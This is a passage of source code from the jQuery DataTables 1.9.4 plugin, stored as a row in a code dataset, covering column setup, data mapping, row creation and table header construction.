code stringlengths 1 2.08M | language stringclasses 1 value |
|---|---|
/**
* @summary DataTables
* @description Paginate, search and sort HTML tables
* @version 1.9.4
* @file jquery.dataTables.js
* @author Allan Jardine (www.sprymedia.co.uk)
* @contact www.sprymedia.co.uk/contact
*
* @copyright Copyright 2008-2012 Allan Jardine, all rights reserved.
*
* This source file is free software, under either the GPL v2 license or a
* BSD style license, available at:
* http://datatables.net/license_gpl2
* http://datatables.net/license_bsd
*
* This source file is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the license files for details.
*
* For details please refer to: http://www.datatables.net
*/
/*jslint evil: true, undef: true, browser: true */
/*globals $, jQuery,define,_fnExternApiFunc,_fnInitialise,_fnInitComplete,_fnLanguageCompat,_fnAddColumn,_fnColumnOptions,_fnAddData,_fnCreateTr,_fnGatherData,_fnBuildHead,_fnDrawHead,_fnDraw,_fnReDraw,_fnAjaxUpdate,_fnAjaxParameters,_fnAjaxUpdateDraw,_fnServerParams,_fnAddOptionsHtml,_fnFeatureHtmlTable,_fnScrollDraw,_fnAdjustColumnSizing,_fnFeatureHtmlFilter,_fnFilterComplete,_fnFilterCustom,_fnFilterColumn,_fnFilter,_fnBuildSearchArray,_fnBuildSearchRow,_fnFilterCreateSearch,_fnDataToSearch,_fnSort,_fnSortAttachListener,_fnSortingClasses,_fnFeatureHtmlPaginate,_fnPageChange,_fnFeatureHtmlInfo,_fnUpdateInfo,_fnFeatureHtmlLength,_fnFeatureHtmlProcessing,_fnProcessingDisplay,_fnVisibleToColumnIndex,_fnColumnIndexToVisible,_fnNodeToDataIndex,_fnVisbleColumns,_fnCalculateEnd,_fnConvertToWidth,_fnCalculateColumnWidths,_fnScrollingWidthAdjust,_fnGetWidestNode,_fnGetMaxLenString,_fnStringToCss,_fnDetectType,_fnSettingsFromNode,_fnGetDataMaster,_fnGetTrNodes,_fnGetTdNodes,_fnEscapeRegex,_fnDeleteIndex,_fnReOrderIndex,_fnColumnOrdering,_fnLog,_fnClearTable,_fnSaveState,_fnLoadState,_fnCreateCookie,_fnReadCookie,_fnDetectHeader,_fnGetUniqueThs,_fnScrollBarWidth,_fnApplyToChildren,_fnMap,_fnGetRowData,_fnGetCellData,_fnSetCellData,_fnGetObjectDataFn,_fnSetObjectDataFn,_fnApplyColumnDefs,_fnBindAction,_fnCallbackReg,_fnCallbackFire,_fnJsonString,_fnRender,_fnNodeToColumnIndex,_fnInfoMacros,_fnBrowserDetect,_fnGetColumns*/
(/** @lends <global> */function( window, document, undefined ) {
(function( factory ) {
"use strict";
// Define as an AMD module if possible
if ( typeof define === 'function' && define.amd )
{
define( ['jquery'], factory );
}
/* Define using browser globals otherwise
* Prevent multiple instantiations if the script is loaded twice
*/
else if ( jQuery && !jQuery.fn.dataTable )
{
factory( jQuery );
}
}
(/** @lends <global> */function( $ ) {
"use strict";
/**
* DataTables is a plug-in for the jQuery Javascript library. It is a
* highly flexible tool, based upon the foundations of progressive
* enhancement, which will add advanced interaction controls to any
* HTML table. For a full list of features please refer to
* <a href="http://datatables.net">DataTables.net</a>.
*
* Note that the <i>DataTable</i> object is not a global variable but is
* aliased to <i>jQuery.fn.DataTable</i> and <i>jQuery.fn.dataTable</i> through which
* it may be accessed.
*
* @class
* @param {object} [oInit={}] Configuration object for DataTables. Options
* are defined by {@link DataTable.defaults}
* @requires jQuery 1.3+
*
* @example
* // Basic initialisation
* $(document).ready( function {
* $('#example').dataTable();
* } );
*
* @example
* // Initialisation with configuration options - in this case, disable
* // pagination and sorting.
* $(document).ready( function {
* $('#example').dataTable( {
* "bPaginate": false,
* "bSort": false
* } );
* } );
*/
var DataTable = function( oInit )
{
/**
* Add a column to the list used for the table with default values
* @param {object} oSettings dataTables settings object
* @param {node} nTh The th element for this column
* @memberof DataTable#oApi
*/
function _fnAddColumn( oSettings, nTh )
{
var oDefaults = DataTable.defaults.columns;
var iCol = oSettings.aoColumns.length;
var oCol = $.extend( {}, DataTable.models.oColumn, oDefaults, {
"sSortingClass": oSettings.oClasses.sSortable,
"sSortingClassJUI": oSettings.oClasses.sSortJUI,
"nTh": nTh ? nTh : document.createElement('th'),
"sTitle": oDefaults.sTitle ? oDefaults.sTitle : nTh ? nTh.innerHTML : '',
"aDataSort": oDefaults.aDataSort ? oDefaults.aDataSort : [iCol],
"mData": oDefaults.mData ? oDefaults.oDefaults : iCol
} );
oSettings.aoColumns.push( oCol );
/* Add a column specific filter */
if ( oSettings.aoPreSearchCols[ iCol ] === undefined || oSettings.aoPreSearchCols[ iCol ] === null )
{
oSettings.aoPreSearchCols[ iCol ] = $.extend( {}, DataTable.models.oSearch );
}
else
{
var oPre = oSettings.aoPreSearchCols[ iCol ];
/* Don't require that the user must specify bRegex, bSmart or bCaseInsensitive */
if ( oPre.bRegex === undefined )
{
oPre.bRegex = true;
}
if ( oPre.bSmart === undefined )
{
oPre.bSmart = true;
}
if ( oPre.bCaseInsensitive === undefined )
{
oPre.bCaseInsensitive = true;
}
}
/* Use the column options function to initialise classes etc */
_fnColumnOptions( oSettings, iCol, null );
}
/**
* Apply options for a column
* @param {object} oSettings dataTables settings object
* @param {int} iCol column index to consider
* @param {object} oOptions object with sType, bVisible and bSearchable etc
* @memberof DataTable#oApi
*/
function _fnColumnOptions( oSettings, iCol, oOptions )
{
var oCol = oSettings.aoColumns[ iCol ];
/* User specified column options */
if ( oOptions !== undefined && oOptions !== null )
{
/* Backwards compatibility for mDataProp */
if ( oOptions.mDataProp && !oOptions.mData )
{
oOptions.mData = oOptions.mDataProp;
}
if ( oOptions.sType !== undefined )
{
oCol.sType = oOptions.sType;
oCol._bAutoType = false;
}
$.extend( oCol, oOptions );
_fnMap( oCol, oOptions, "sWidth", "sWidthOrig" );
/* iDataSort to be applied (backwards compatibility), but aDataSort will take
* priority if defined
*/
if ( oOptions.iDataSort !== undefined )
{
oCol.aDataSort = [ oOptions.iDataSort ];
}
_fnMap( oCol, oOptions, "aDataSort" );
}
/* Cache the data get and set functions for speed */
var mRender = oCol.mRender ? _fnGetObjectDataFn( oCol.mRender ) : null;
var mData = _fnGetObjectDataFn( oCol.mData );
oCol.fnGetData = function (oData, sSpecific) {
var innerData = mData( oData, sSpecific );
if ( oCol.mRender && (sSpecific && sSpecific !== '') )
{
return mRender( innerData, sSpecific, oData );
}
return innerData;
};
oCol.fnSetData = _fnSetObjectDataFn( oCol.mData );
/* Feature sorting overrides column specific when off */
if ( !oSettings.oFeatures.bSort )
{
oCol.bSortable = false;
}
/* Check that the class assignment is correct for sorting */
if ( !oCol.bSortable ||
($.inArray('asc', oCol.asSorting) == -1 && $.inArray('desc', oCol.asSorting) == -1) )
{
oCol.sSortingClass = oSettings.oClasses.sSortableNone;
oCol.sSortingClassJUI = "";
}
else if ( $.inArray('asc', oCol.asSorting) == -1 && $.inArray('desc', oCol.asSorting) == -1 )
{
oCol.sSortingClass = oSettings.oClasses.sSortable;
oCol.sSortingClassJUI = oSettings.oClasses.sSortJUI;
}
else if ( $.inArray('asc', oCol.asSorting) != -1 && $.inArray('desc', oCol.asSorting) == -1 )
{
oCol.sSortingClass = oSettings.oClasses.sSortableAsc;
oCol.sSortingClassJUI = oSettings.oClasses.sSortJUIAscAllowed;
}
else if ( $.inArray('asc', oCol.asSorting) == -1 && $.inArray('desc', oCol.asSorting) != -1 )
{
oCol.sSortingClass = oSettings.oClasses.sSortableDesc;
oCol.sSortingClassJUI = oSettings.oClasses.sSortJUIDescAllowed;
}
}
/**
* Adjust the table column widths for new data. Note: you would probably want to
* do a redraw after calling this function!
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnAdjustColumnSizing ( oSettings )
{
/* Not interested in doing column width calculation if auto-width is disabled */
if ( oSettings.oFeatures.bAutoWidth === false )
{
return false;
}
_fnCalculateColumnWidths( oSettings );
for ( var i=0 , iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
oSettings.aoColumns[i].nTh.style.width = oSettings.aoColumns[i].sWidth;
}
}
/**
* Covert the index of a visible column to the index in the data array (take account
* of hidden columns)
* @param {object} oSettings dataTables settings object
* @param {int} iMatch Visible column index to lookup
* @returns {int} i the data index
* @memberof DataTable#oApi
*/
function _fnVisibleToColumnIndex( oSettings, iMatch )
{
var aiVis = _fnGetColumns( oSettings, 'bVisible' );
return typeof aiVis[iMatch] === 'number' ?
aiVis[iMatch] :
null;
}
/**
* Covert the index of an index in the data array and convert it to the visible
* column index (take account of hidden columns)
* @param {int} iMatch Column index to lookup
* @param {object} oSettings dataTables settings object
* @returns {int} i the data index
* @memberof DataTable#oApi
*/
function _fnColumnIndexToVisible( oSettings, iMatch )
{
var aiVis = _fnGetColumns( oSettings, 'bVisible' );
var iPos = $.inArray( iMatch, aiVis );
return iPos !== -1 ? iPos : null;
}
/**
* Get the number of visible columns
* @param {object} oSettings dataTables settings object
* @returns {int} i the number of visible columns
* @memberof DataTable#oApi
*/
function _fnVisbleColumns( oSettings )
{
return _fnGetColumns( oSettings, 'bVisible' ).length;
}
/**
* Get an array of column indexes that match a given property
* @param {object} oSettings dataTables settings object
* @param {string} sParam Parameter in aoColumns to look for - typically
* bVisible or bSearchable
* @returns {array} Array of indexes with matched properties
* @memberof DataTable#oApi
*/
function _fnGetColumns( oSettings, sParam )
{
var a = [];
$.map( oSettings.aoColumns, function(val, i) {
if ( val[sParam] ) {
a.push( i );
}
} );
return a;
}
/**
* Get the sort type based on an input string
* @param {string} sData data we wish to know the type of
* @returns {string} type (defaults to 'string' if no type can be detected)
* @memberof DataTable#oApi
*/
function _fnDetectType( sData )
{
var aTypes = DataTable.ext.aTypes;
var iLen = aTypes.length;
for ( var i=0 ; i<iLen ; i++ )
{
var sType = aTypes[i]( sData );
if ( sType !== null )
{
return sType;
}
}
return 'string';
}
/**
* Figure out how to reorder a display list
* @param {object} oSettings dataTables settings object
* @returns array {int} aiReturn index list for reordering
* @memberof DataTable#oApi
*/
function _fnReOrderIndex ( oSettings, sColumns )
{
var aColumns = sColumns.split(',');
var aiReturn = [];
for ( var i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
for ( var j=0 ; j<iLen ; j++ )
{
if ( oSettings.aoColumns[i].sName == aColumns[j] )
{
aiReturn.push( j );
break;
}
}
}
return aiReturn;
}
/**
* Get the column ordering that DataTables expects
* @param {object} oSettings dataTables settings object
* @returns {string} comma separated list of names
* @memberof DataTable#oApi
*/
function _fnColumnOrdering ( oSettings )
{
var sNames = '';
for ( var i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
sNames += oSettings.aoColumns[i].sName+',';
}
if ( sNames.length == iLen )
{
return "";
}
return sNames.slice(0, -1);
}
/**
* Take the column definitions and static columns arrays and calculate how
* they relate to column indexes. The callback function will then apply the
* definition found for a column to a suitable configuration object.
* @param {object} oSettings dataTables settings object
* @param {array} aoColDefs The aoColumnDefs array that is to be applied
* @param {array} aoCols The aoColumns array that defines columns individually
* @param {function} fn Callback function - takes two parameters, the calculated
* column index and the definition for that column.
* @memberof DataTable#oApi
*/
function _fnApplyColumnDefs( oSettings, aoColDefs, aoCols, fn )
{
var i, iLen, j, jLen, k, kLen;
// Column definitions with aTargets
if ( aoColDefs )
{
/* Loop over the definitions array - loop in reverse so first instance has priority */
for ( i=aoColDefs.length-1 ; i>=0 ; i-- )
{
/* Each definition can target multiple columns, as it is an array */
var aTargets = aoColDefs[i].aTargets;
if ( !$.isArray( aTargets ) )
{
_fnLog( oSettings, 1, 'aTargets must be an array of targets, not a '+(typeof aTargets) );
}
for ( j=0, jLen=aTargets.length ; j<jLen ; j++ )
{
if ( typeof aTargets[j] === 'number' && aTargets[j] >= 0 )
{
/* Add columns that we don't yet know about */
while( oSettings.aoColumns.length <= aTargets[j] )
{
_fnAddColumn( oSettings );
}
/* Integer, basic index */
fn( aTargets[j], aoColDefs[i] );
}
else if ( typeof aTargets[j] === 'number' && aTargets[j] < 0 )
{
/* Negative integer, right to left column counting */
fn( oSettings.aoColumns.length+aTargets[j], aoColDefs[i] );
}
else if ( typeof aTargets[j] === 'string' )
{
/* Class name matching on TH element */
for ( k=0, kLen=oSettings.aoColumns.length ; k<kLen ; k++ )
{
if ( aTargets[j] == "_all" ||
$(oSettings.aoColumns[k].nTh).hasClass( aTargets[j] ) )
{
fn( k, aoColDefs[i] );
}
}
}
}
}
}
// Statically defined columns array
if ( aoCols )
{
for ( i=0, iLen=aoCols.length ; i<iLen ; i++ )
{
fn( i, aoCols[i] );
}
}
}
/**
* Add a data array to the table, creating DOM node etc. This is the parallel to
* _fnGatherData, but for adding rows from a Javascript source, rather than a
* DOM source.
* @param {object} oSettings dataTables settings object
* @param {array} aData data array to be added
* @returns {int} >=0 if successful (index of new aoData entry), -1 if failed
* @memberof DataTable#oApi
*/
function _fnAddData ( oSettings, aDataSupplied )
{
var oCol;
/* Take an independent copy of the data source so we can bash it about as we wish */
var aDataIn = ($.isArray(aDataSupplied)) ?
aDataSupplied.slice() :
$.extend( true, {}, aDataSupplied );
/* Create the object for storing information about this new row */
var iRow = oSettings.aoData.length;
var oData = $.extend( true, {}, DataTable.models.oRow );
oData._aData = aDataIn;
oSettings.aoData.push( oData );
/* Create the cells */
var nTd, sThisType;
for ( var i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
oCol = oSettings.aoColumns[i];
/* Use rendered data for filtering / sorting */
if ( typeof oCol.fnRender === 'function' && oCol.bUseRendered && oCol.mData !== null )
{
_fnSetCellData( oSettings, iRow, i, _fnRender(oSettings, iRow, i) );
}
else
{
_fnSetCellData( oSettings, iRow, i, _fnGetCellData( oSettings, iRow, i ) );
}
/* See if we should auto-detect the column type */
if ( oCol._bAutoType && oCol.sType != 'string' )
{
/* Attempt to auto detect the type - same as _fnGatherData() */
var sVarType = _fnGetCellData( oSettings, iRow, i, 'type' );
if ( sVarType !== null && sVarType !== '' )
{
sThisType = _fnDetectType( sVarType );
if ( oCol.sType === null )
{
oCol.sType = sThisType;
}
else if ( oCol.sType != sThisType && oCol.sType != "html" )
{
/* String is always the 'fallback' option */
oCol.sType = 'string';
}
}
}
}
/* Add to the display array */
oSettings.aiDisplayMaster.push( iRow );
/* Create the DOM information */
if ( !oSettings.oFeatures.bDeferRender )
{
_fnCreateTr( oSettings, iRow );
}
return iRow;
}
/**
* Read in the data from the target table from the DOM
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnGatherData( oSettings )
{
var iLoop, i, iLen, j, jLen, jInner,
nTds, nTrs, nTd, nTr, aLocalData, iThisIndex,
iRow, iRows, iColumn, iColumns, sNodeName,
oCol, oData;
/*
* Process by row first
* Add the data object for the whole table - storing the tr node. Note - no point in getting
* DOM based data if we are going to go and replace it with Ajax source data.
*/
if ( oSettings.bDeferLoading || oSettings.sAjaxSource === null )
{
nTr = oSettings.nTBody.firstChild;
while ( nTr )
{
if ( nTr.nodeName.toUpperCase() == "TR" )
{
iThisIndex = oSettings.aoData.length;
nTr._DT_RowIndex = iThisIndex;
oSettings.aoData.push( $.extend( true, {}, DataTable.models.oRow, {
"nTr": nTr
} ) );
oSettings.aiDisplayMaster.push( iThisIndex );
nTd = nTr.firstChild;
jInner = 0;
while ( nTd )
{
sNodeName = nTd.nodeName.toUpperCase();
if ( sNodeName == "TD" || sNodeName == "TH" )
{
_fnSetCellData( oSettings, iThisIndex, jInner, $.trim(nTd.innerHTML) );
jInner++;
}
nTd = nTd.nextSibling;
}
}
nTr = nTr.nextSibling;
}
}
/* Gather in the TD elements of the Table - note that this is basically the same as
* fnGetTdNodes, but that function takes account of hidden columns, which we haven't yet
* setup!
*/
nTrs = _fnGetTrNodes( oSettings );
nTds = [];
for ( i=0, iLen=nTrs.length ; i<iLen ; i++ )
{
nTd = nTrs[i].firstChild;
while ( nTd )
{
sNodeName = nTd.nodeName.toUpperCase();
if ( sNodeName == "TD" || sNodeName == "TH" )
{
nTds.push( nTd );
}
nTd = nTd.nextSibling;
}
}
/* Now process by column */
for ( iColumn=0, iColumns=oSettings.aoColumns.length ; iColumn<iColumns ; iColumn++ )
{
oCol = oSettings.aoColumns[iColumn];
/* Get the title of the column - unless there is a user set one */
if ( oCol.sTitle === null )
{
oCol.sTitle = oCol.nTh.innerHTML;
}
var
bAutoType = oCol._bAutoType,
bRender = typeof oCol.fnRender === 'function',
bClass = oCol.sClass !== null,
bVisible = oCol.bVisible,
nCell, sThisType, sRendered, sValType;
/* A single loop to rule them all (and be more efficient) */
if ( bAutoType || bRender || bClass || !bVisible )
{
for ( iRow=0, iRows=oSettings.aoData.length ; iRow<iRows ; iRow++ )
{
oData = oSettings.aoData[iRow];
nCell = nTds[ (iRow*iColumns) + iColumn ];
/* Type detection */
if ( bAutoType && oCol.sType != 'string' )
{
sValType = _fnGetCellData( oSettings, iRow, iColumn, 'type' );
if ( sValType !== '' )
{
sThisType = _fnDetectType( sValType );
if ( oCol.sType === null )
{
oCol.sType = sThisType;
}
else if ( oCol.sType != sThisType &&
oCol.sType != "html" )
{
/* String is always the 'fallback' option */
oCol.sType = 'string';
}
}
}
if ( oCol.mRender )
{
// mRender has been defined, so we need to get the value and set it
nCell.innerHTML = _fnGetCellData( oSettings, iRow, iColumn, 'display' );
}
else if ( oCol.mData !== iColumn )
{
// If mData is not the same as the column number, then we need to
// get the dev set value. If it is the column, no point in wasting
// time setting the value that is already there!
nCell.innerHTML = _fnGetCellData( oSettings, iRow, iColumn, 'display' );
}
/* Rendering */
if ( bRender )
{
sRendered = _fnRender( oSettings, iRow, iColumn );
nCell.innerHTML = sRendered;
if ( oCol.bUseRendered )
{
/* Use the rendered data for filtering / sorting */
_fnSetCellData( oSettings, iRow, iColumn, sRendered );
}
}
/* Classes */
if ( bClass )
{
nCell.className += ' '+oCol.sClass;
}
/* Column visibility */
if ( !bVisible )
{
oData._anHidden[iColumn] = nCell;
nCell.parentNode.removeChild( nCell );
}
else
{
oData._anHidden[iColumn] = null;
}
if ( oCol.fnCreatedCell )
{
oCol.fnCreatedCell.call( oSettings.oInstance,
nCell, _fnGetCellData( oSettings, iRow, iColumn, 'display' ), oData._aData, iRow, iColumn
);
}
}
}
}
/* Row created callbacks */
if ( oSettings.aoRowCreatedCallback.length !== 0 )
{
for ( i=0, iLen=oSettings.aoData.length ; i<iLen ; i++ )
{
oData = oSettings.aoData[i];
_fnCallbackFire( oSettings, 'aoRowCreatedCallback', null, [oData.nTr, oData._aData, i] );
}
}
}
/**
* Take a TR element and convert it to an index in aoData
* @param {object} oSettings dataTables settings object
* @param {node} n the TR element to find
* @returns {int} index if the node is found, null if not
* @memberof DataTable#oApi
*/
function _fnNodeToDataIndex( oSettings, n )
{
return (n._DT_RowIndex!==undefined) ? n._DT_RowIndex : null;
}
/**
* Take a TD element and convert it into a column data index (not the visible index)
* @param {object} oSettings dataTables settings object
* @param {int} iRow The row number the TD/TH can be found in
* @param {node} n The TD/TH element to find
* @returns {int} index if the node is found, -1 if not
* @memberof DataTable#oApi
*/
function _fnNodeToColumnIndex( oSettings, iRow, n )
{
var anCells = _fnGetTdNodes( oSettings, iRow );
for ( var i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
if ( anCells[i] === n )
{
return i;
}
}
return -1;
}
/**
* Get an array of data for a given row from the internal data cache
* @param {object} oSettings dataTables settings object
* @param {int} iRow aoData row id
* @param {string} sSpecific data get type ('type' 'filter' 'sort')
* @param {array} aiColumns Array of column indexes to get data from
* @returns {array} Data array
* @memberof DataTable#oApi
*/
function _fnGetRowData( oSettings, iRow, sSpecific, aiColumns )
{
var out = [];
for ( var i=0, iLen=aiColumns.length ; i<iLen ; i++ )
{
out.push( _fnGetCellData( oSettings, iRow, aiColumns[i], sSpecific ) );
}
return out;
}
/**
* Get the data for a given cell from the internal cache, taking into account data mapping
* @param {object} oSettings dataTables settings object
* @param {int} iRow aoData row id
* @param {int} iCol Column index
* @param {string} sSpecific data get type ('display', 'type' 'filter' 'sort')
* @returns {*} Cell data
* @memberof DataTable#oApi
*/
function _fnGetCellData( oSettings, iRow, iCol, sSpecific )
{
var sData;
var oCol = oSettings.aoColumns[iCol];
var oData = oSettings.aoData[iRow]._aData;
if ( (sData=oCol.fnGetData( oData, sSpecific )) === undefined )
{
if ( oSettings.iDrawError != oSettings.iDraw && oCol.sDefaultContent === null )
{
_fnLog( oSettings, 0, "Requested unknown parameter "+
(typeof oCol.mData=='function' ? '{mData function}' : "'"+oCol.mData+"'")+
" from the data source for row "+iRow );
oSettings.iDrawError = oSettings.iDraw;
}
return oCol.sDefaultContent;
}
/* When the data source is null, we can use default column data */
if ( sData === null && oCol.sDefaultContent !== null )
{
sData = oCol.sDefaultContent;
}
else if ( typeof sData === 'function' )
{
/* If the data source is a function, then we run it and use the return */
return sData();
}
if ( sSpecific == 'display' && sData === null )
{
return '';
}
return sData;
}
/**
* Set the value for a specific cell, into the internal data cache
* @param {object} oSettings dataTables settings object
* @param {int} iRow aoData row id
* @param {int} iCol Column index
* @param {*} val Value to set
* @memberof DataTable#oApi
*/
function _fnSetCellData( oSettings, iRow, iCol, val )
{
var oCol = oSettings.aoColumns[iCol];
var oData = oSettings.aoData[iRow]._aData;
oCol.fnSetData( oData, val );
}
// Private variable that is used to match array syntax in the data property object
var __reArray = /\[.*?\]$/;
/**
* Return a function that can be used to get data from a source object, taking
* into account the ability to use nested objects as a source
* @param {string|int|function} mSource The data source for the object
* @returns {function} Data get function
* @memberof DataTable#oApi
*/
function _fnGetObjectDataFn( mSource )
{
if ( mSource === null )
{
/* Give an empty string for rendering / sorting etc */
return function (data, type) {
return null;
};
}
else if ( typeof mSource === 'function' )
{
return function (data, type, extra) {
return mSource( data, type, extra );
};
}
else if ( typeof mSource === 'string' && (mSource.indexOf('.') !== -1 || mSource.indexOf('[') !== -1) )
{
/* If there is a . in the source string then the data source is in a
* nested object so we loop over the data for each level to get the next
* level down. On each loop we test for undefined, and if found immediately
* return. This allows entire objects to be missing and sDefaultContent to
* be used if defined, rather than throwing an error
*/
var fetchData = function (data, type, src) {
var a = src.split('.');
var arrayNotation, out, innerSrc;
if ( src !== "" )
{
for ( var i=0, iLen=a.length ; i<iLen ; i++ )
{
// Check if we are dealing with an array notation request
arrayNotation = a[i].match(__reArray);
if ( arrayNotation ) {
a[i] = a[i].replace(__reArray, '');
// Condition allows simply [] to be passed in
if ( a[i] !== "" ) {
data = data[ a[i] ];
}
out = [];
// Get the remainder of the nested object to get
a.splice( 0, i+1 );
innerSrc = a.join('.');
// Traverse each entry in the array getting the properties requested
for ( var j=0, jLen=data.length ; j<jLen ; j++ ) {
out.push( fetchData( data[j], type, innerSrc ) );
}
// If a string is given in between the array notation indicators, that
// is used to join the strings together, otherwise an array is returned
var join = arrayNotation[0].substring(1, arrayNotation[0].length-1);
data = (join==="") ? out : out.join(join);
// The inner call to fetchData has already traversed through the remainder
// of the source requested, so we exit from the loop
break;
}
if ( data === null || data[ a[i] ] === undefined )
{
return undefined;
}
data = data[ a[i] ];
}
}
return data;
};
return function (data, type) {
return fetchData( data, type, mSource );
};
}
else
{
/* Array or flat object mapping */
return function (data, type) {
return data[mSource];
};
}
}
/**
* Return a function that can be used to set data from a source object, taking
* into account the ability to use nested objects as a source
* @param {string|int|function} mSource The data source for the object
* @returns {function} Data set function
* @memberof DataTable#oApi
*/
function _fnSetObjectDataFn( mSource )
{
if ( mSource === null )
{
/* Nothing to do when the data source is null */
return function (data, val) {};
}
else if ( typeof mSource === 'function' )
{
return function (data, val) {
mSource( data, 'set', val );
};
}
else if ( typeof mSource === 'string' && (mSource.indexOf('.') !== -1 || mSource.indexOf('[') !== -1) )
{
/* Like the get, we need to get data from a nested object */
var setData = function (data, val, src) {
var a = src.split('.'), b;
var arrayNotation, o, innerSrc;
for ( var i=0, iLen=a.length-1 ; i<iLen ; i++ )
{
// Check if we are dealing with an array notation request
arrayNotation = a[i].match(__reArray);
if ( arrayNotation )
{
a[i] = a[i].replace(__reArray, '');
data[ a[i] ] = [];
// Get the remainder of the nested object to set so we can recurse
b = a.slice();
b.splice( 0, i+1 );
innerSrc = b.join('.');
// Traverse each entry in the array setting the properties requested
for ( var j=0, jLen=val.length ; j<jLen ; j++ )
{
o = {};
setData( o, val[j], innerSrc );
data[ a[i] ].push( o );
}
// The inner call to setData has already traversed through the remainder
// of the source and has set the data, thus we can exit here
return;
}
// If the nested object doesn't currently exist - since we are
// trying to set the value - create it
if ( data[ a[i] ] === null || data[ a[i] ] === undefined )
{
data[ a[i] ] = {};
}
data = data[ a[i] ];
}
// If array notation is used, we just want to strip it and use the property name
// and assign the value. If it isn't used, then we get the result we want anyway
data[ a[a.length-1].replace(__reArray, '') ] = val;
};
return function (data, val) {
return setData( data, val, mSource );
};
}
else
{
/* Array or flat object mapping */
return function (data, val) {
data[mSource] = val;
};
}
}
/**
* Return an array with the full table data
* @param {object} oSettings dataTables settings object
* @returns array {array} aData Master data array
* @memberof DataTable#oApi
*/
function _fnGetDataMaster ( oSettings )
{
var aData = [];
var iLen = oSettings.aoData.length;
for ( var i=0 ; i<iLen; i++ )
{
aData.push( oSettings.aoData[i]._aData );
}
return aData;
}
/**
* Nuke the table
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnClearTable( oSettings )
{
oSettings.aoData.splice( 0, oSettings.aoData.length );
oSettings.aiDisplayMaster.splice( 0, oSettings.aiDisplayMaster.length );
oSettings.aiDisplay.splice( 0, oSettings.aiDisplay.length );
_fnCalculateEnd( oSettings );
}
/**
* Take an array of integers (index array) and remove a target integer (value - not
* the key!)
* @param {array} a Index array to target
* @param {int} iTarget value to find
* @memberof DataTable#oApi
*/
function _fnDeleteIndex( a, iTarget )
{
var iTargetIndex = -1;
for ( var i=0, iLen=a.length ; i<iLen ; i++ )
{
if ( a[i] == iTarget )
{
iTargetIndex = i;
}
else if ( a[i] > iTarget )
{
a[i]--;
}
}
if ( iTargetIndex != -1 )
{
a.splice( iTargetIndex, 1 );
}
}
/**
* Call the developer defined fnRender function for a given cell (row/column) with
* the required parameters and return the result.
* @param {object} oSettings dataTables settings object
* @param {int} iRow aoData index for the row
* @param {int} iCol aoColumns index for the column
* @returns {*} Return of the developer's fnRender function
* @memberof DataTable#oApi
*/
function _fnRender( oSettings, iRow, iCol )
{
var oCol = oSettings.aoColumns[iCol];
return oCol.fnRender( {
"iDataRow": iRow,
"iDataColumn": iCol,
"oSettings": oSettings,
"aData": oSettings.aoData[iRow]._aData,
"mDataProp": oCol.mData
}, _fnGetCellData(oSettings, iRow, iCol, 'display') );
}
/**
* Create a new TR element (and it's TD children) for a row
* @param {object} oSettings dataTables settings object
* @param {int} iRow Row to consider
* @memberof DataTable#oApi
*/
function _fnCreateTr ( oSettings, iRow )
{
var oData = oSettings.aoData[iRow];
var nTd;
if ( oData.nTr === null )
{
oData.nTr = document.createElement('tr');
/* Use a private property on the node to allow reserve mapping from the node
* to the aoData array for fast look up
*/
oData.nTr._DT_RowIndex = iRow;
/* Special parameters can be given by the data source to be used on the row */
if ( oData._aData.DT_RowId )
{
oData.nTr.id = oData._aData.DT_RowId;
}
if ( oData._aData.DT_RowClass )
{
oData.nTr.className = oData._aData.DT_RowClass;
}
/* Process each column */
for ( var i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
var oCol = oSettings.aoColumns[i];
nTd = document.createElement( oCol.sCellType );
/* Render if needed - if bUseRendered is true then we already have the rendered
* value in the data source - so can just use that
*/
nTd.innerHTML = (typeof oCol.fnRender === 'function' && (!oCol.bUseRendered || oCol.mData === null)) ?
_fnRender( oSettings, iRow, i ) :
_fnGetCellData( oSettings, iRow, i, 'display' );
/* Add user defined class */
if ( oCol.sClass !== null )
{
nTd.className = oCol.sClass;
}
if ( oCol.bVisible )
{
oData.nTr.appendChild( nTd );
oData._anHidden[i] = null;
}
else
{
oData._anHidden[i] = nTd;
}
if ( oCol.fnCreatedCell )
{
oCol.fnCreatedCell.call( oSettings.oInstance,
nTd, _fnGetCellData( oSettings, iRow, i, 'display' ), oData._aData, iRow, i
);
}
}
_fnCallbackFire( oSettings, 'aoRowCreatedCallback', null, [oData.nTr, oData._aData, iRow] );
}
}
/**
* Create the HTML header for the table
* @param {object} oSettings dataTables settings object
* @memberof DataTable#oApi
*/
function _fnBuildHead( oSettings )
{
var i, nTh, iLen, j, jLen;
var iThs = $('th, td', oSettings.nTHead).length;
var iCorrector = 0;
var jqChildren;
/* If there is a header in place - then use it - otherwise it's going to get nuked... */
if ( iThs !== 0 )
{
/* We've got a thead from the DOM, so remove hidden columns and apply width to vis cols */
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
nTh = oSettings.aoColumns[i].nTh;
nTh.setAttribute('role', 'columnheader');
if ( oSettings.aoColumns[i].bSortable )
{
nTh.setAttribute('tabindex', oSettings.iTabIndex);
nTh.setAttribute('aria-controls', oSettings.sTableId);
}
if ( oSettings.aoColumns[i].sClass !== null )
{
$(nTh).addClass( oSettings.aoColumns[i].sClass );
}
/* Set the title of the column if it is user defined (not what was auto detected) */
if ( oSettings.aoColumns[i].sTitle != nTh.innerHTML )
{
nTh.innerHTML = oSettings.aoColumns[i].sTitle;
}
}
}
else
{
/* We don't have a header in the DOM - so we are going to have to create one */
var nTr = document.createElement( "tr" );
for ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )
{
nTh = oSettings.aoColumns[i].nTh;
nTh.innerHTML = oSettings.aoColumns[i].sTitle;
nTh.setAttribute('tabindex', '0');
if ( oSettings.aoColumns[i].sClass !== null )
{
$(nTh).addClass( oSettings.aoColumns[i].sClass );
}
nTr.appendChild( nTh );
}
